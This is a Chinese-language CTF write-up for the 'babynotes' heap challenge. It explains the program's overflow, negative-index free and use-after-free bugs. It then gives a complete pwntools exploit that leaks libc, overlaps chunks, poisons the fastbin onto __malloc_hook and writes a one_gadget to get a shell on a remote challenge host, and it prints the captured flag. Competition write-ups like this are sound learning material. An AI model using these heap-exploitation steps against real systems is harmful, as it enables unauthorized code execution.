[强网先锋] babynotes
64位程序,典型的菜单题。保护就开了NX,而且是运行在libc2.23的环境。
程序逻辑:
1、首先是输入name和motto,输入的内容先输入到栈中,再输入到堆中。这里在strcpy的时候没进行边界检查,因此当输入name的长度为0x18的时候,会连着后面的age的值一块复制到堆中,这里就能够覆盖下一个chunk头部的size。
2、addnote函数,该函数负责申请堆块,然后将堆的地址和申请的大小放在bss段中,位置恰好在存name和motto堆块地址的后面。最大能申请0x100的内存空间,因此大概猜测要用到fastbin attack。
3、shownote函数,打印通过addnote申请的堆的内容。没利用到这个函数。
4、deletenote函数,能够释放掉所申请的堆块。这里v1没有检查下边界,因此存在负数溢出。同时释放掉堆块后并没有将指针清0,存在UAF的漏洞。
5、editnote函数,向所申请的堆块中填入内容,中规中矩,这里没有漏洞点。
6、reset函数,再进行一次填入name、motto和age的操作,意味着能够改变堆块头的size字段,这里就能布置chunk overlap
7、check函数,打印name和motto合age的值。这里可以用来进行地址泄露。
思路:
因此漏洞利用的思路就很明确了。
1、分配4个堆块,chunk0申请0x80的大小,chunk1申请0x68的大小,这两个chunk用来布置chunk overlap。chunk3申请0x68的大小,chunk4申请0x68的大小,这两个chunk用来使delete函数能够free掉name和motto的chunk。
2、 通过deletenote的负数溢出将name和motto的chunk给释放掉,这是由于motto的chunk的大小为0x110,因此就会被放到unsortedbin中,然后用check函数就能够打印出main_arean的地址。
3、将chunk1给释放了,因此它会加入fastbin。通过reset函数将chunk0的头改为0x100,再申请一个0x100的chunk,这是就会把这个大小为0x100的连续内存地址(覆盖了chunk1)取出。
4、通过editnote函数将chunk1中的fd字段给改成malloc_hook上方的地址,再分配2个0x70的chunk,这是就会将包含malloc_hook的内存地址给分配出来。然后再用editnote往malloc_hook中填入one_gadget。
5、再次执行malloc函数的时候就能getshell。
完整代码:
from pwn import * context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] #p = process("./babynotes") p = remote("123.56.170.202", 43121) elf = ELF("./babynotes") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def regi(name, motto, age): p.sendafter("name:", name) p.sendafter("motto:", motto) p.sendlineafter("age", str(age)) def add_note(idx, size): p.sendlineafter(">> ", str(1)) p.sendlineafter("index:", str(idx)) p.sendlineafter("size:", str(size)) def del_note(idx): p.sendlineafter(">> ", str(3)) p.sendlineafter("index:", str(idx)) def edit_note(idx, note): p.sendlineafter(">> ", str(4)) p.sendlineafter("index:", str(idx)) p.sendafter("note", note) #gdb.attach(p) regi("aaaaaaaa", "bbbbbbbb", 24) add_note(0, 0x80) add_note(1, 0x68) add_note(4, 0x68) add_note(5, 0x68) del_note(-2) del_note(-1) p.sendlineafter(">> ", str(6)) p.recvuntil("Motto: ") leak_addr = u64(p.recv(6).ljust(8, "\x00")) print hex(leak_addr) libc_base = leak_addr - 0x3c4b78 one_gadget = libc_base + 0xf1207 del_note(0) #del_note(1) p.sendlineafter(">> ", str(5)) regi("a" * 0x18, p64(libc_base), 0x101) #raw_input() add_note(0, 0xf0) del_note(1) edit_note(0, "a"*0x80 + p64(0x90) + p64(0x70) + p64(libc_base + libc.symbols['__malloc_hook']-0x20-3)) add_note(2, 0x68) add_note(3, 0x68) edit_note(3, 'y' * 0x13 + p64(one_gadget)) add_note(1, 104) p.interactive()
flag{6279ac0413ae55144e232766aa65e547}
没有帐号? 立即注册